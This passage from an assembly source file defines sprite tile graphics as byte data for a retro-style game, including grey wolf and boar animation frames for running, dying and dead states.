DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$20,$00,$B0,$00,$F8
DB $00,$F8,$00,$FC,$00,$FC,$00,$FC
DB $00,$03,$00,$0F,$00,$1E,$00,$1C
DB $00,$38,$00,$39,$00,$3C,$00,$3C
DB $00,$18,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$03,$FF,$07,$FF,$0E,$FE
DB $0C,$EC,$0C,$CC,$08,$88,$08,$88
DB $00,$40,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $01,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$02,$7E,$06,$7E,$0C,$6C
DB $0E,$6E,$06,$46,$02,$42,$02,$42
DB $00,$FC,$00,$FE,$00,$FF,$00,$FE
DB $00,$FE,$80,$FC,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$30,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$C4,$00,$ED
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$80,$00,$80
DB $00,$00,$00,$03,$00,$0F,$00,$1E
DB $00,$1C,$00,$38,$00,$39,$00,$3C
DB $00,$3C,$00,$18,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$1F,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$04,$FF
DB $06,$FE,$06,$FE,$0C,$FC,$0C,$EC
DB $08,$48,$0C,$4C,$00,$60,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$01,$FE
DB $00,$FF,$00,$FF,$00,$FF,$07,$FF
DB $06,$FE,$0E,$7E,$0C,$7C,$0E,$7E
DB $06,$66,$07,$67,$03,$43,$01,$61
DB $00,$E0,$00,$F0,$10,$E0,$00,$FE
DB $00,$FE,$00,$FC,$00,$FC,$80,$80
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteGreywolfAttackRightEnd::
r4_SpriteGreywolfDeadLR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$02,$00,$03,$00,$0F,$00,$1F
DB $10,$0F,$01,$FE,$01,$FE,$01,$7E
DB $01,$7E,$01,$01,$00,$00,$00,$07
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$43,$00,$67,$00,$FF,$00,$FF
DB $00,$FF,$C0,$3F,$00,$FF,$08,$F7
DB $08,$F7,$E9,$F7,$0B,$F4,$19,$E0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$10,$EF,$10,$EF,$10,$EF
DB $7E,$EF,$FE,$EF,$FC,$01,$FC,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$80,$00,$E0,$00,$F0
DB $00,$FC,$00,$FC,$00,$FE,$00,$FF
DB $00,$FF,$00,$F3,$00,$FB,$00,$FC
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$01,$00,$07,$00,$0F
DB $00,$3F,$00,$3F,$00,$7F,$00,$FF
DB $00,$FF,$00,$CF,$00,$DF,$00,$3F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$08,$F7,$08,$F7,$08,$F7
DB $7E,$F7,$7F,$F7,$3F,$80,$3F,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$C2,$00,$E6,$00,$FF,$00,$FF
DB $00,$FF,$03,$FC,$00,$FF,$10,$EF
DB $10,$EF,$97,$EF,$D0,$2F,$98,$07
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$40,$00,$C0,$00,$F0,$00,$F8
DB $08,$F0,$80,$7F,$80,$7F,$80,$7E
DB $80,$7E,$80,$80,$00,$00,$00,$E0
r4_SpriteGreywolfDeadLREnd::
r4_SpriteBoarL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$23,$00,$37,$00,$3F,$00,$3F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$0F,$00,$1F,$00,$3F
DB $00,$FF,$00,$FF,$38,$FF,$38,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$F0,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$F0,$00,$F0,$00,$F0,$00,$F0
DB $00,$1F,$00,$1F,$00,$1F,$10,$0F
DB $00,$1F,$00,$3F,$00,$7F,$00,$FF
DB $04,$FB,$0C,$F3,$01,$3F,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $30,$FF,$10,$FF,$00,$FF,$00,$FF
DB $80,$7F,$00,$FF,$00,$FF,$00,$FF
DB $0E,$FF,$3E,$FF,$9F,$9F,$0C,$0C
DB $0C,$0C,$0C,$0C,$18,$18,$00,$01
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$1F,$FF,$0E,$CE,$06,$C6
DB $06,$C6,$06,$C6,$0C,$CC,$00,$80
DB $00,$F0,$00,$F0,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$80,$F0,$00,$70
DB $00,$70,$00,$60,$00,$60,$00,$E0
r4_SpriteBoarLEnd::
r4_SpriteBoarR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$0F,$00,$0F,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$0F,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$F0,$00,$F8,$00,$FC
DB $00,$FF,$00,$FF,$1C,$FF,$1C,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$C4,$00,$EC,$00,$FC,$00,$FC
DB $00,$0F,$00,$0F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$01,$0F,$00,$0E
DB $00,$0E,$00,$06,$00,$06,$00,$07
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$F8,$FF,$70,$73,$60,$63
DB $60,$63,$60,$63,$30,$33,$00,$01
DB $0C,$FF,$08,$FF,$00,$FF,$00,$FF
DB $01,$FE,$00,$FF,$00,$FF,$00,$FF
DB $70,$FF,$7C,$FF,$F9,$F9,$30,$30
DB $30,$30,$30,$30,$18,$18,$00,$80
DB $00,$F8,$00,$F8,$00,$F8,$08,$F0
DB $00,$F8,$00,$FC,$00,$FE,$00,$FF
DB $20,$DF,$30,$CF,$80,$FC,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteBoarREnd::
r4_SpriteBoarRunL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$23,$00,$37,$00,$3F,$00,$3F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$0F,$00,$1F,$00,$3F
DB $00,$FF,$00,$FF,$38,$FF,$38,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$07,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$E0,$00,$F0,$00,$F0
DB $00,$F0,$00,$F0,$00,$F0,$00,$F0
DB $00,$1F,$00,$1F,$00,$1F,$10,$0F
DB $00,$1F,$00,$3F,$00,$7F,$00,$FF
DB $04,$FB,$0C,$F3,$01,$3F,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $30,$FF,$10,$FF,$00,$FF,$00,$FF
DB $80,$7F,$00,$FF,$00,$FF,$00,$FF
DB $0E,$FF,$3E,$FF,$BC,$BF,$30,$37
DB $60,$67,$60,$66,$C0,$CC,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$07,$FF
DB $0F,$FF,$1B,$FB,$01,$C1,$00,$C0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $80,$F8,$80,$BC,$80,$8C,$C0,$CE
DB $00,$02,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$23,$00,$37,$00,$3F,$00,$3F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$0F,$00,$1F,$00,$3F
DB $00,$FF,$00,$FF,$38,$FF,$38,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$F0,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$F0,$00,$F0,$00,$F0,$00,$F0
DB $00,$1F,$00,$1F,$00,$1F,$10,$0F
DB $00,$1F,$00,$3F,$00,$7F,$00,$FF
DB $04,$FB,$0C,$F3,$01,$3F,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $30,$FF,$10,$FF,$00,$FF,$00,$FF
DB $80,$7F,$00,$FF,$00,$FF,$00,$FF
DB $0E,$FF,$3E,$FF,$9C,$9C,$0C,$0C
DB $0C,$0C,$04,$04,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$1F,$FF,$0F,$EF,$07,$E7
DB $03,$63,$00,$60,$00,$20,$00,$00
DB $00,$F0,$00,$F0,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$F0,$00,$F0,$00,$70
DB $80,$B8,$00,$18,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$23
DB $00,$37,$00,$3F,$00,$3F,$00,$1F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$1F,$00,$3F,$00,$FF
DB $00,$FF,$38,$FF,$38,$FF,$30,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$E0,$00,$FC,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$E0
DB $00,$F0,$00,$F0,$00,$F0,$00,$F0
DB $00,$1F,$00,$1F,$10,$0F,$00,$1F
DB $00,$3F,$00,$7F,$00,$FF,$04,$FB
DB $0C,$F3,$01,$3F,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $10,$FF,$00,$FF,$00,$FF,$80,$7F
DB $00,$FF,$00,$FF,$00,$FF,$0E,$FF
DB $1F,$DF,$8E,$8E,$06,$06,$06,$06
DB $02,$02,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$0F,$7F,$0F,$7F,$07,$37
DB $06,$36,$06,$16,$02,$02,$00,$00
DB $00,$F0,$00,$F0,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$F0,$00,$E0,$00,$E0
DB $00,$E0,$00,$C0,$00,$40,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$23
DB $00,$37,$00,$3F,$00,$3F,$00,$1F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$1F,$00,$3F,$00,$FF
DB $00,$FF,$38,$FF,$38,$FF,$30,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$E0,$00,$F0
DB $00,$F0,$00,$F0,$00,$F0,$00,$F0
DB $00,$1F,$00,$1F,$10,$0F,$00,$1F
DB $00,$3F,$00,$7F,$00,$FF,$04,$FB
DB $0C,$F3,$01,$3F,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $10,$FF,$00,$FF,$00,$FF,$80,$7F
DB $00,$FF,$00,$FF,$00,$FF,$08,$FF
DB $3C,$FF,$BC,$BF,$38,$39,$08,$09
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $0F,$FF,$1F,$FF,$07,$87,$07,$C7
DB $03,$43,$03,$03,$00,$00,$00,$00
DB $00,$F0,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F0,$00,$F0,$00,$F0,$00,$70
DB $00,$70,$00,$30,$00,$30,$00,$00
r4_SpriteBoarRunLEnd::
r4_SpriteBoarRunR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$07,$00,$0F
DB $00,$0F,$00,$0F,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$E0,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$F0,$00,$F8,$00,$FC
DB $00,$FF,$00,$FF,$1C,$FF,$1C,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$C4,$00,$EC,$00,$FC,$00,$FC
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $01,$1F,$01,$3D,$01,$31,$03,$73
DB $00,$40,$00,$00,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$E0,$FF
DB $F0,$FF,$D8,$DF,$80,$83,$00,$03
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $0C,$FF,$08,$FF,$00,$FF,$00,$FF
DB $01,$FE,$00,$FF,$00,$FF,$00,$FF
DB $70,$FF,$7C,$FF,$3D,$FD,$0C,$EC
DB $06,$E6,$06,$66,$03,$33,$00,$00
DB $00,$F8,$00,$F8,$00,$F8,$08,$F0
DB $00,$F8,$00,$FC,$00,$FE,$00,$FF
DB $20,$DF,$30,$CF,$80,$FC,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$0F,$00,$0F,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$0F,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$F0,$00,$F8,$00,$FC
DB $00,$FF,$00,$FF,$1C,$FF,$1C,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$C4,$00,$EC,$00,$FC,$00,$FC
DB $00,$0F,$00,$0F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$0F,$00,$0F,$00,$0E
DB $01,$1D,$00,$18,$00,$00,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$F8,$FF,$F0,$F7,$E0,$E7
DB $C0,$C6,$00,$06,$00,$04,$00,$00
DB $0C,$FF,$08,$FF,$00,$FF,$00,$FF
DB $01,$FE,$00,$FF,$00,$FF,$00,$FF
DB $70,$FF,$7C,$FF,$39,$39,$30,$30
DB $30,$30,$20,$20,$00,$00,$00,$00
DB $00,$F8,$00,$F8,$00,$F8,$08,$F0
DB $00,$F8,$00,$FC,$00,$FE,$00,$FF
DB $20,$DF,$30,$CF,$80,$FC,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$07
DB $00,$0F,$00,$0F,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$07,$00,$3F,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$F8,$00,$FC,$00,$FF
DB $00,$FF,$1C,$FF,$1C,$FF,$0C,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$C4
DB $00,$EC,$00,$FC,$00,$FC,$00,$F8
DB $00,$0F,$00,$0F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$0F,$00,$07,$00,$07
DB $00,$07,$00,$03,$00,$02,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$F0,$FE,$F0,$FE,$E0,$EC
DB $60,$6C,$60,$68,$40,$40,$00,$00
DB $08,$FF,$00,$FF,$00,$FF,$01,$FE
DB $00,$FF,$00,$FF,$00,$FF,$70,$FF
DB $F8,$FB,$71,$71,$60,$60,$60,$60
DB $40,$40,$00,$00,$00,$00,$00,$00
DB $00,$F8,$00,$F8,$08,$F0,$00,$F8
DB $00,$FC,$00,$FE,$00,$FF,$20,$DF
DB $30,$CF,$80,$FC,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$07,$00,$0F
DB $00,$0F,$00,$0F,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$0F,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F0,$00,$F8,$00,$FC,$00,$FF
DB $00,$FF,$1C,$FF,$1C,$FF,$0C,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$C4
DB $00,$EC,$00,$FC,$00,$FC,$00,$F8
DB $00,$0F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$0F,$00,$0F,$00,$0F,$00,$0E
DB $00,$0E,$00,$0C,$00,$0C,$00,$00
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $F0,$FF,$F8,$FF,$E0,$E1,$E0,$E3
DB $C0,$C2,$C0,$C0,$00,$00,$00,$00
DB $08,$FF,$00,$FF,$00,$FF,$01,$FE
DB $00,$FF,$00,$FF,$00,$FF,$10,$FF
DB $3C,$FF,$3D,$FD,$1C,$9C,$10,$90
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$F8,$00,$F8,$08,$F0,$00,$F8
DB $00,$FC,$00,$FE,$00,$FF,$20,$DF
DB $30,$CF,$80,$FC,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpriteBoarRunREnd::
r4_SpriteBoarDyingL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$03,$00,$27
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$0F
DB $00,$1F,$00,$3F,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$F0
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$C0,$00,$F0,$00,$F0
DB $00,$37,$00,$3F,$00,$1F,$00,$1F
DB $00,$1F,$10,$0F,$00,$1F,$00,$3F
DB $00,$7F,$00,$FF,$04,$FB,$0C,$F3
DB $01,$3F,$00,$00,$00,$00,$00,$00
DB $38,$FF,$38,$FF,$30,$FF,$10,$FF
DB $00,$FF,$00,$FF,$80,$7F,$00,$FF
DB $00,$FF,$06,$FF,$0E,$FF,$3F,$FF
DB $B8,$B8,$18,$18,$30,$30,$00,$01
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$1F,$FF,$0E,$CE
DB $06,$C6,$06,$C6,$0C,$CC,$00,$80
DB $00,$F0,$00,$F0,$00,$F0,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$00,$F8
DB $00,$F8,$00,$F8,$00,$F8,$40,$78
DB $00,$38,$00,$30,$00,$30,$00,$70
r4_SpriteBoarDyingLEnd::
r4_SpriteBoarDyingR::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$03,$00,$0F,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$0F
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$F0
DB $00,$F8,$00,$FC,$00,$FF,$00,$FF
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$C0,$00,$E4
DB $00,$0F,$00,$0F,$00,$0F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$1F,$00,$1F,$02,$1E
DB $00,$1C,$00,$0C,$00,$0C,$00,$0E
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$00,$FF,$00,$FF
DB $00,$FF,$00,$FF,$F8,$FF,$70,$73
DB $60,$63,$60,$63,$30,$33,$00,$01
DB $1C,$FF,$1C,$FF,$0C,$FF,$08,$FF
DB $00,$FF,$00,$FF,$01,$FE,$00,$FF
DB $00,$FF,$60,$FF,$70,$FF,$FC,$FF
DB $1D,$1D,$18,$18,$0C,$0C,$00,$80
DB $00,$EC,$00,$FC,$00,$F8,$00,$F8
DB $00,$F8,$08,$F0,$00,$F8,$00,$FC
DB $00,$FE,$00,$FF,$20,$DF,$30,$CF
DB $80,$FC,$00,$00,$00,$00,$00,$00
r4_SpriteBoarDyingREnd::
r4_SpriteBoarDeadL::
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$0F
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$F0
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$03,$00,$07,$00,$77,$00,$3F
DB $00,$1F,$00,$1F,$00,$1F,$00,$1F
DB $00,$1F,$00,$3F,$00,$7F,$00,$FF
DB $00,$FF,$00,$FF,$01,$3F,$01,$01
DB $00,$FF,$00,$FF,$00,$FF,$3C,$FF
DB $30,$FF,$10,$FF,$00,$FF,$00,$FF
DB $E0,$1F,$40,$BF,$40,$BF,$00,$FF
